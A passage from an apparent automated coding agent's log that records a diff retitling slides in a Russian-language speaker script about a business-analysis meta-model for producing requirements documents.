\u0410\u0420\u041c \u0434\u043e\u043a\u0430\u0437\u0430\u043b \u043c\u043e\u0434\u0435\u043b\u044c; \u0434\u043b\u044f \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0439 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438 \u0434\u043e\u043b\u0436\u0435\u043d \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u043a\u043e\u0434, \u0430 \u043d\u0435 \u043c\u043e\u0434\u0435\u043b\u044c\\n311:## \u0421\u043b\u0430\u0439\u0434 9. \u041c\u0430\u0441\u0448\u0442\u0430\u0431\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043d\u0435 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f, \u0430 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0432\u044b\u0445\u043e\u0434\u0430: \u0435\u0433\u043e \u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u0435 \u0434\u0435\u043b\u0430\u0435\u0442 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0443 \u0432 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0443 \u0431\u0435\u0441\u0448\u043e\u0432\u043d\u043e\u0439\\n339:## \u0421\u043b\u0430\u0439\u0434 10. \u041e\u0442 \u043f\u0438\u043b\u043e\u0442\u0430 \u043a \u0421\u0440\u0435\u0434\u0435 4 \u2014 \u0442\u0440\u0438 \u0448\u0430\u0433\u0430, \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u0437\u0430\u0434\u0430\u043d \u0434\u043e \u0441\u0442\u0430\u0440\u0442\u0430\",\n[2026-09-29T07:55:38.320Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T07:55:38.320Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:55:38.320Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:55:38.320Z] [INFO]     \"noOutputExpected\": false,\n[2026-09-29T07:55:38.320Z] [INFO]     \"bashEditDiff\": {\n[2026-09-29T07:55:38.320Z] [INFO]       \"files\": [\n[2026-09-29T07:55:38.320Z] [INFO]         {\n[2026-09-29T07:55:38.320Z] [INFO]           \"filePath\": \"/tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md\",\n[2026-09-29T07:55:38.320Z] [INFO]           \"hunks\": [\n[2026-09-29T07:55:38.320Z] [INFO]             {\n[2026-09-29T07:55:38.320Z] [INFO]               \"oldStart\": 48,\n[2026-09-29T07:55:38.320Z] [INFO]               \"oldLines\": 7,\n[2026-09-29T07:55:38.320Z] [INFO]               \"newStart\": 48,\n[2026-09-29T07:55:38.320Z] [INFO]               \"newLines\": 7,\n[2026-09-29T07:55:38.320Z] [INFO]               \"lines\": [\n[2026-09-29T07:55:38.320Z] [INFO]                 \" \",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" ---\",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" \",\n[2026-09-29T07:55:38.320Z] [INFO]                 \"-## \u0421\u043b\u0430\u0439\u0434 1. \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u044c \u043a\u0430\u043a \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u043d\u044b\u0439 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\",\n[2026-09-29T07:55:38.320Z] [INFO]                 \"+## \u0421\u043b\u0430\u0439\u0434 1. \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u043b\u044f \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u044c \u043a\u0430\u043a \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u043d\u044b\u0439 \u043f\u0440\u043e\u0434\u0443\u043a\u0442, \u0430 \u043d\u0435 \u043a\u0430\u043a \u0430\u0432\u0442\u043e\u0440\u0441\u043a\u0438\u0439 \u0442\u0435\u043a\u0441\u0442\",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" \",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" **\u0412\u0440\u0435\u043c\u044f:** 1 \u043c\u0438\u043d\u0443\u0442\u0430. **\u0426\u0435\u043b\u044c:** \u043d\u0430\u0437\u0432\u0430\u0442\u044c \u0442\u0435\u0437\u0438\u0441 \u0438 \u0434\u0430\u0442\u044c \u043f\u043e\u043d\u044f\u0442\u044c, \u0447\u0442\u043e \u043e\u043d \u043e\u043f\u0438\u0440\u0430\u0435\u0442\u0441\u044f\",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" \u043d\u0430 \u0438\u0441\u0442\u043e\u0440\u0438\u044e, \u0430 \u043d\u0435 \u043d\u0430 \u0442\u0435\u043e\u0440\u0438\u044e.\"\n[2026-09-29T07:55:38.320Z] [INFO]               ]\n[2026-09-29T07:55:38.320Z] [INFO]             },\n[2026-09-29T07:55:38.320Z] [INFO]             {\n[2026-09-29T07:55:38.320Z] [INFO]               \"oldStart\": 70,\n[2026-09-29T07:55:38.320Z] [INFO]               \"oldLines\": 7,\n[2026-09-29T07:55:38.320Z] [INFO]               \"newStart\": 70,\n[2026-09-29T07:55:38.320Z] [INFO]               \"newLines\": 7,\n[2026-09-29T07:55:38.320Z] [INFO]               \"lines\": [\n[2026-09-29T07:55:38.320Z] [INFO]                 \" \",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" ---\",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" \",\n[2026-09-29T07:55:38.320Z] [INFO]                 \"-## \u0421\u043b\u0430\u0439\u0434 2. \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u2014 \u044d\u0442\u043e \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e\",\n[2026-09-29T07:55:38.320Z] [INFO]                 \"+## \u0421\u043b\u0430\u0439\u0434 2. \u0412 \u043a\u043e\u043c\u0430\u043d\u0434\u0430\u0445 \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u2014 \u044d\u0442\u043e \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e, \u0430 \u043d\u0435 \u0437\u0430\u043c\u0435\u0442\u043a\u0430\",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" \",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" **\u0412\u0440\u0435\u043c\u044f:** 1,5 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0446\u0435\u043d\u0443 \u043e\u0448\u0438\u0431\u043a\u0438, \u0447\u0442\u043e\u0431\u044b \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0430\u044f\",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" \u0441\u0442\u0440\u043e\u0433\u043e\u0441\u0442\u044c \u043d\u0435 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u043b\u0430 \u0438\u0437\u0431\u044b\u0442\u043e\u0447\u043d\u043e\u0439.\"\n[2026-09-29T07:55:38.320Z] [INFO]               ]\n[2026-09-29T07:55:38.320Z] [INFO]             },\n[2026-09-29T07:55:38.320Z] [INFO]             {\n[2026-09-29T07:55:38.320Z] [INFO]               \"oldStart\": 95,\n[2026-09-29T07:55:38.320Z] [INFO]               \"oldLines\": 7,\n[2026-09-29T07:55:38.320Z] [INFO]               \"newStart\": 95,\n[2026-09-29T07:55:38.320Z] [INFO]               \"newLines\": 7,\n[2026-09-29T07:55:38.320Z] [INFO]               \"lines\": [\n[2026-09-29T07:55:38.320Z] [INFO]                 \" \",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" ---\",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" \",\n[2026-09-29T07:55:38.320Z] [INFO]                 \"-## \u0421\u043b\u0430\u0439\u0434 3. \u0421\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u043c \u0440\u0443\u0447\u043d\u043e\u043c \u0448\u0430\u0433\u0435\",\n[2026-09-29T07:55:38.320Z] [INFO]                 \"+## \u0421\u043b\u0430\u0439\u0434 3. \u041c\u0435\u0436\u0434\u0443 \u0441\u044b\u0440\u044b\u043c \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u043c \u0438 \u0422\u0417 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u043c \u0440\u0443\u0447\u043d\u043e\u043c \u0448\u0430\u0433\u0435\",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" \",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" **\u0412\u0440\u0435\u043c\u044f:** 2 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u044c \u0431\u043e\u043b\u044c \u0447\u0438\u0441\u043b\u0430\u043c\u0438 \u0438\u0437 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e \u043a\u043e\u0440\u043f\u0443\u0441\u0430,\",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" \u0430 \u043d\u0435 \u0438\u0437 \u043e\u0442\u0440\u0430\u0441\u043b\u0435\u0432\u044b\u0445 \u043e\u0442\u0447\u0451\u0442\u043e\u0432.\"\n[2026-09-29T07:55:38.320Z] [INFO]               ]\n[2026-09-29T07:55:38.320Z] [INFO]             },\n[2026-09-29T07:55:38.320Z] [INFO]             {\n[2026-09-29T07:55:38.320Z] [INFO]               \"oldStart\": 128,\n[2026-09-29T07:55:38.320Z] [INFO]               \"oldLines\": 7,\n[2026-09-29T07:55:38.320Z] [INFO]               \"newStart\": 128,\n[2026-09-29T07:55:38.320Z] [INFO]               \"newLines\": 7,\n[2026-09-29T07:55:38.320Z] [INFO]               \"lines\": [\n[2026-09-29T07:55:38.320Z] [INFO]                 \" \",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" ---\",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" \",\n[2026-09-29T07:55:38.320Z] [INFO]                 \"-## \u0421\u043b\u0430\u0439\u0434 4. \u0423\u043b\u0443\u0447\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u043b\u043e \u0434\u0430\u0432\u0430\u0442\u044c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\",\n[2026-09-29T07:55:38.320Z] [INFO]                 \"+## \u0421\u043b\u0430\u0439\u0434 4. \u0423\u043b\u0443\u0447\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u043b\u043e \u0434\u0430\u0432\u0430\u0442\u044c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442: 60+ \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u0438, \u0447\u0442\u043e \u0434\u0435\u0444\u0435\u043a\u0442 \u0441\u0438\u0434\u0438\u0442 \u0434\u043e \u0442\u0435\u043a\u0441\u0442\u0430\",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" \",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" **\u0412\u0440\u0435\u043c\u044f:** 2,5 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u044c \u044d\u0432\u043e\u043b\u044e\u0446\u0438\u044e \u043e\u0442 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043a\",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u043a\u0430\u043a \u0432\u044b\u043d\u0443\u0436\u0434\u0435\u043d\u043d\u044b\u0439 \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u043d\u044b\u0439 \u0432\u044b\u0432\u043e\u0434. \u042d\u0442\u043e \u043a\u043b\u044e\u0447 \u043a \u0434\u043e\u0432\u0435\u0440\u0438\u044e: \u043f\u043e\u0434\u0445\u043e\u0434\"\n[2026-09-29T07:55:38.320Z] [INFO]               ]\n[2026-09-29T07:55:38.320Z] [INFO]             },\n[2026-09-29T07:55:38.320Z] [INFO]             {\n[2026-09-29T07:55:38.320Z] [INFO]               \"oldStart\": 167,\n[2026-09-29T07:55:38.320Z] [INFO]               \"oldLines\": 7,\n[2026-09-29T07:55:38.320Z] [INFO]               \"newStart\": 167,\n[2026-09-29T07:55:38.320Z] [INFO]               \"newLines\": 7,\n[2026-09-29T07:55:38.320Z] [INFO]               \"lines\": [\n[2026-09-29T07:55:38.320Z] [INFO]                 \" \",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" ---\",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" \",\n[2026-09-29T07:55:38.320Z] [INFO]                 \"-## \u0421\u043b\u0430\u0439\u0434 5. \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0440\u0430\u0441\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0443 \u0434\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f\",\n[2026-09-29T07:55:38.320Z] [INFO]                 \"+## \u0421\u043b\u0430\u0439\u0434 5. \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0440\u0430\u0441\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0443 \u0411\u0410 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0435\u0451 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c\",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" \",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" **\u0412\u0440\u0435\u043c\u044f:** 2 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u0434\u0430\u0442\u044c \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443, \u043d\u0435 \u0443\u0442\u043e\u043f\u0438\u0432 \u0432 \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u0445. \u0418\u0437 11\",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439 \u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0430 \u0441\u043b\u0430\u0439\u0434\u0435 \u2014 \u0447\u0435\u0442\u044b\u0440\u0435 \u0443\u0440\u043e\u0432\u043d\u044f \u0438 \u0447\u0435\u0442\u044b\u0440\u0435 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430.\"\n[2026-09-29T07:55:38.320Z] [INFO]               ]\n[2026-09-29T07:55:38.320Z] [INFO]             },\n[2026-09-29T07:55:38.320Z] [INFO]             {\n[2026-09-29T07:55:38.320Z] [INFO]               \"oldStart\": 195,\n[2026-09-29T07:55:38.320Z] [INFO]               \"oldLines\": 7,\n[2026-09-29T07:55:38.320Z] [INFO]               \"newStart\": 195,\n[2026-09-29T07:55:38.320Z] [INFO]               \"newLines\": 7,\n[2026-09-29T07:55:38.320Z] [INFO]               \"lines\": [\n[2026-09-29T07:55:38.320Z] [INFO]                 \" \",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" ---\",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" \",\n[2026-09-29T07:55:38.320Z] [INFO]                 \"-## \u0421\u043b\u0430\u0439\u0434 6. \u041c\u044b \u043d\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u0443\u0435\u043c \u043c\u044b\u0441\u043b\u044c \u2014 \u043c\u044b \u0441\u0442\u0430\u0432\u0438\u043c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u043d\u0430 \u0432\u044b\u0445\u043e\u0434 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438\",\n[2026-09-29T07:55:38.320Z] [INFO]                 \"+## \u0421\u043b\u0430\u0439\u0434 6. \u041c\u044b \u043d\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u0443\u0435\u043c \u043c\u044b\u0441\u043b\u044c: \u043c\u044b \u043e\u0446\u0438\u0444\u0440\u043e\u0432\u044b\u0432\u0430\u0435\u043c \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u0443\u044e \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044e \u0438 \u0441\u0442\u0430\u0432\u0438\u043c \u043d\u0430 \u0435\u0451 \u0432\u044b\u0445\u043e\u0434 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" \",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" **\u0412\u0440\u0435\u043c\u044f:** 3 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u0433\u043b\u0430\u0432\u043d\u044b\u0439 \u0441\u043b\u0430\u0439\u0434. \u041f\u043e\u043a\u0430\u0437\u0430\u0442\u044c, \u0447\u0442\u043e \u0438\u043c\u0435\u043d\u043d\u043e \u043c\u044b \u0434\u0435\u043b\u0430\u0435\u043c\",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" \u0438\u043d\u0430\u0447\u0435 \u0438 \u043f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0442\u0430\u043c, \u0433\u0434\u0435 \u043f\u0440\u043e\u043c\u043f\u0442 \u043d\u0435 \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u043b.\"\n[2026-09-29T07:55:38.320Z] [INFO]               ]\n[2026-09-29T07:55:38.320Z] [INFO]             },\n[2026-09-29T07:55:38.320Z] [INFO]             {\n[2026-09-29T07:55:38.320Z] [INFO]               \"oldStart\": 232,\n[2026-09-29T07:55:38.320Z] [INFO]               \"oldLines\": 7,\n[2026-09-29T07:55:38.320Z] [INFO]               \"newStart\": 232,\n[2026-09-29T07:55:38.320Z] [INFO]               \"newLines\": 7,\n[2026-09-29T07:55:38.320Z] [INFO]               \"lines\": [\n[2026-09-29T07:55:38.320Z] [INFO]                 \" \",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" ---\",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" \",\n[2026-09-29T07:55:38.320Z] [INFO]                 \"-## \u0421\u043b\u0430\u0439\u0434 7. \u041a\u043e\u043d\u0432\u0435\u0439\u0435\u0440: \u043f\u044f\u0442\u044c \u0448\u0430\u0433\u043e\u0432 \u0438 \u0434\u0432\u0430 \u0433\u0435\u0439\u0442\u0430\",\n[2026-09-29T07:55:38.320Z] [INFO]                 \"+## \u0421\u043b\u0430\u0439\u0434 7. \u041a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u0441\u044b\u0440\u043e\u0439 \u0437\u0430\u043f\u0440\u043e\u0441 \u0432 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0437\u0430 \u043f\u044f\u0442\u044c \u0448\u0430\u0433\u043e\u0432 \u0438 \u0434\u0432\u0430 \u0433\u0435\u0439\u0442\u0430\",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" \",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" **\u0412\u0440\u0435\u043c\u044f:** 2,5 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u044c \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0438 \u0447\u0435\u0441\u0442\u043d\u043e \u0440\u0430\u0437\u043c\u0435\u0442\u0438\u0442\u044c\",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" \u0433\u043e\u0442\u043e\u0432\u043d\u043e\u0441\u0442\u044c \u044d\u0442\u0430\u043f\u043e\u0432.\"\n[2026-09-29T07:55:38.320Z] [INFO]               ]\n[2026-09-29T07:55:38.320Z] [INFO]             },\n[2026-09-29T07:55:38.320Z] [INFO]             {\n[2026-09-29T07:55:38.320Z] [INFO]               \"oldStart\": 271,\n[2026-09-29T07:55:38.320Z] [INFO]               \"oldLines\": 7,\n[2026-09-29T07:55:38.320Z] [INFO]               \"newStart\": 271,\n[2026-09-29T07:55:38.320Z] [INFO]               \"newLines\": 7,\n[2026-09-29T07:55:38.320Z] [INFO]               \"lines\": [\n[2026-09-29T07:55:38.320Z] [INFO]                 \" \",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" ---\",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" \",\n[2026-09-29T07:55:38.320Z] [INFO]                 \"-## \u0421\u043b\u0430\u0439\u0434 8. \u041f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438 \u0434\u043e\u043b\u0436\u0435\u043d \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u043a\u043e\u0434, \u0430 \u043d\u0435 \u043c\u043e\u0434\u0435\u043b\u044c\",\n[2026-09-29T07:55:38.320Z] [INFO]                 \"+## \u0421\u043b\u0430\u0439\u0434 8. \u041f\u0438\u043b\u043e\u0442 \u043d\u0430 \u0410\u0420\u041c \u0434\u043e\u043a\u0430\u0437\u0430\u043b \u043c\u043e\u0434\u0435\u043b\u044c; \u0434\u043b\u044f \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0439 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438 \u0434\u043e\u043b\u0436\u0435\u043d \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u043a\u043e\u0434, \u0430 \u043d\u0435 \u043c\u043e\u0434\u0435\u043b\u044c\",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" \",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" **\u0412\u0440\u0435\u043c\u044f:** 2,5 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u043e\u0431\u044a\u044f\u0441\u043d\u0438\u0442\u044c \u0442\u0435\u043a\u0443\u0449\u0438\u0439 \u043f\u0438\u043b\u043e\u0442 \u0438 \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u0442\u044c \u0432\u0435\u043a\u0442\u043e\u0440\",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u0443\u044e \u0441\u0440\u0435\u0434\u0443 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u043d\u044b\u043c \u043f\u0440\u043e\u0431\u0435\u043b\u043e\u043c, \u0430 \u043d\u0435 \u0436\u0435\u043b\u0430\u043d\u0438\u0435\u043c.\"\n[2026-09-29T07:55:38.320Z] [INFO]               ]\n[2026-09-29T07:55:38.320Z] [INFO]             },\n[2026-09-29T07:55:38.320Z] [INFO]             {\n[2026-09-29T07:55:38.320Z] [INFO]               \"oldStart\": 308,\n[2026-09-29T07:55:38.320Z] [INFO]               \"oldLines\": 7,\n[2026-09-29T07:55:38.320Z] [INFO]               \"newStart\": 308,\n[2026-09-29T07:55:38.320Z] [INFO]               \"newLines\": 7,\n[2026-09-29T07:55:38.320Z] [INFO]               \"lines\": [\n[2026-09-29T07:55:38.320Z] [INFO]                 \" \",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" ---\",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" \",\n[2026-09-29T07:55:38.320Z] [INFO]                 \"-## \u0421\u043b\u0430\u0439\u0434 9. \u041c\u0430\u0441\u0448\u0442\u0430\u0431\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0432\u044b\u0445\u043e\u0434\u0430, \u0430 \u043d\u0435 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f\",\n[2026-09-29T07:55:38.320Z] [INFO]                 \"+## \u0421\u043b\u0430\u0439\u0434 9. \u041c\u0430\u0441\u0448\u0442\u0430\u0431\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043d\u0435 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f, \u0430 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0432\u044b\u0445\u043e\u0434\u0430: \u0435\u0433\u043e \u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u0435 \u0434\u0435\u043b\u0430\u0435\u0442 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0443 \u0432 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0443 \u0431\u0435\u0441\u0448\u043e\u0432\u043d\u043e\u0439\",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" \",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" **\u0412\u0440\u0435\u043c\u044f:** 2 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u043f\u0435\u0440\u0435\u0432\u0435\u0441\u0442\u0438 \u0440\u0430\u0437\u0433\u043e\u0432\u043e\u0440 \u0441 \u00ab\u0418\u0418 \u043f\u0438\u0448\u0435\u0442 \u0422\u0417\u00bb \u043d\u0430\",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" \u00ab\u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438\u00bb.\"\n[2026-09-29T07:55:38.320Z] [INFO]               ]\n[2026-09-29T07:55:38.320Z] [INFO]             },\n[2026-09-29T07:55:38.320Z] [INFO]             {\n[2026-09-29T07:55:38.320Z] [INFO]               \"oldStart\": 336,\n[2026-09-29T07:55:38.320Z] [INFO]               \"oldLines\": 7,\n[2026-09-29T07:55:38.320Z] [INFO]               \"newStart\": 336,\n[2026-09-29T07:55:38.320Z] [INFO]               \"newLines\": 7,\n[2026-09-29T07:55:38.320Z] [INFO]               \"lines\": [\n[2026-09-29T07:55:38.320Z] [INFO]                 \" \",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" ---\",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" \",\n[2026-09-29T07:55:38.320Z] [INFO]                 \"-## \u0421\u043b\u0430\u0439\u0434 10. \u0422\u0440\u0438 \u0448\u0430\u0433\u0430 \u043a \u0421\u0440\u0435\u0434\u0435 4\",\n[2026-09-29T07:55:38.320Z] [INFO]                 \"+## \u0421\u043b\u0430\u0439\u0434 10. \u041e\u0442 \u043f\u0438\u043b\u043e\u0442\u0430 \u043a \u0421\u0440\u0435\u0434\u0435 4 \u2014 \u0442\u0440\u0438 \u0448\u0430\u0433\u0430, \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u0437\u0430\u0434\u0430\u043d \u0434\u043e \u0441\u0442\u0430\u0440\u0442\u0430\",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" \",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" **\u0412\u0440\u0435\u043c\u044f:** 1,5 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u0437\u0430\u043a\u043e\u043d\u0447\u0438\u0442\u044c \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u043c \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u043c \u0438 \u0437\u0430\u0440\u0430\u043d\u0435\u0435\",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" \u0437\u0430\u0434\u0430\u043d\u043d\u044b\u043c \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0435\u043c \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f.\"\n[2026-09-29T07:55:38.320Z] [INFO]               ]\n[2026-09-29T07:55:38.320Z] [INFO]             